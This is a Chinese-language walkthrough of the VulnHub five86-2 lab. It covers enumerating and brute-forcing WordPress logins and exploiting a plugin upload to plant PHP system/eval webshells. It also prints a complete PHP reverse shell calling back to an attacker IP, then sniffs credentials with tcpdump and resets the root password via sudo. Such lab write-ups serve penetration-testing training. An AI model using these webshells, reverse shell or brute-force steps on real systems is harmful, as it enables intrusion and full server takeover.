vulnhub five86-2

vulnhub five86-2

总结:sudo -l,抓流量包,搜索引擎。。

目录

下载地址

漏洞分析

信息收集

网站渗透

​编辑

反弹shell+提权


下载地址

  • Five86-2.zip (Size: 1.7 GB)
  • Download (Mirror): https://download.vulnhub.com/five86/Five86-2.zip

使用:下载以后打开压缩包,使用vm直接打开ova文件


漏洞分析

信息收集

1.给靶机设置一个快照

2.fping -agq 192.168.31.0/24  使用fping快速扫描该网段中存活的机子

3.将靶机关闭重新扫描一下,对比少的那个ip就是靶机的ip

4.使用快照快速将靶机恢复

注:ip段要看自己的

这里通过nmap扫出来有20,21端口,这里先看看80端口扫出来的东西。

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但是进去发现不好用,就只剩下一个框架了,怎么点都不行,这里去hosts把靶机添加进去

windows:C:\Windows\System32\drivers\etc\hosts

linux:/etc/hosts

vulnhub five86-2

再次访问网页就正常了

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 这里通过插件就可以知道他的cms框架的版本,当然我们通过nmap也可以知道。

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nmap使用-A综合扫描,我们同样可以知道他cms的版本号。

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这里使用dirsearch扫一下直接就扫到后台了,这里我们使用wpscan去爆破爆破用户名。

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 这里加上-e u就可以使用了,-e是一种简化的写法,正常是–enumerate u

然后利用cewl生成密码。

wpscan --url http://192.168.31.122/ -e u
echo "barney\nadmin\ngillian\npeter\nstephen" > user.txt
cewl http://192.168.31.122 > pass.txt

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wpscan --url http://192.168.31.122 -U user.txt -P pass.txt

这里跑一下没有跑出来,怀疑是密码文件的问题,这里使用kail自带的rockyou.txt,这是一家公司泄露出来还是很全的,这是一个gz压缩文件需要自己解压。

gunzip /usr/share/wordlists/rockyou.txt.gz
wpscan --url http://192.168.31.122 -U user.txt -P /usr/share/wordlists/rockyou.txt

但是感觉跑的还是挺慢的。

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这里可算是跑出来了两个。

barney:spooky1
stephen:apollo1

网站渗透

这里登录进去就叫我更新,呵呵呵,这里刚进来就有插件的一直有点,强迫症受不了,但是突然想到以前wordpress之前爆出来了不少野洞,这里找到一个感觉可以利用的

WordPress Plugin Insert or Embed Articulate Content into WordPress – Remote Code Execution – PHP webapps Exploit

 有这个插件,而且wordpress版本也是十分接近的,下面有步骤,这里我们尝试尝试。

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 注意kali中$_POST前面要加一个\需要转移$

echo "<html>hello</html>" > index.html
echo "<?php echo system(\$_POST['cmd']); ?>" > index.php
zip poc.zip index.html index.php

第二步是让我们登录,这里我们已经登录进去了。

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注意下面上传以后要点一下upload!

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搞完了别忘了连续点两下publish,然后再点一下那个view post

 

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然后就会跳到这里,但是这里我们上传的东西在

靶机ip/wp-content/uploads/articulate_uploads/压缩包名/压缩文件

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 这里之后出来点问题,就是说马写错了,咳咳咳,这里还是建议用正常的。

echo "<?php eval(\$_POST['cmd']); ?>" > index.php

用post马是为了,方便我们直接连接蚁剑

这里测试一下没有问题。

vulnhub five86-2

反弹shell+提权

喵的,这里用蚁剑尝试了各种反弹shell的命令都没有用。。。

但是别忘了,这个网页是可以触发php文件,这里搞一个反弹shell的php文件。

这里截图有点问题。。。这里新建一个1.php,然后修改里面的内容为下面,自己的ip和要反弹的端口再最下面那里。

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<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = '/bin/sh';
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        } else if (posix_setsid() < 0) {
            // once daemonized you will actually no longer see the script's dump
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        $data = str_replace('<', '&lt;', $data);
        $data = str_replace('>', '&gt;', $data);
        echo $data;
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $fstat = fstat($input);
        $size = $fstat['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();
            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }
                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
                    do {
						$status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------
                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------
                fclose($socket);
            }
            // ------ SOCKET END ------
        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('192.168.31.199', 333);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

 这里访问一下,嗯有戏了

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 果然这里直接反弹shell回来了

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在查看密码文件的时候发现了一个熟悉的用户

 

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这里先去stephen看看。

原本想内核提权,奈何连gcc都没有。

然后就不会了,然后这里参考 别人的wp

我是真没想到id命令中的pcap原来也是提示

首先使用tcpdump -D查看我们要拦截的流量

 

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timeout 120 tcpdump -w 1.pcap -i veth1df93bc

这里拦截两分钟的,到1.pcap中使用tcpdump -r读取

在眼睛都快瞎了的时候,终于找到了账号和密码,这里登入一下。

paul:esomepasswford

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sudo有提权命令,但是也是指定了用户

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这里看到直接就进来了。

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没想到还有惊喜,passwd就不用查了,这里用脚都知道怎么搞的

sudo passwd root

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直接改了root的密码

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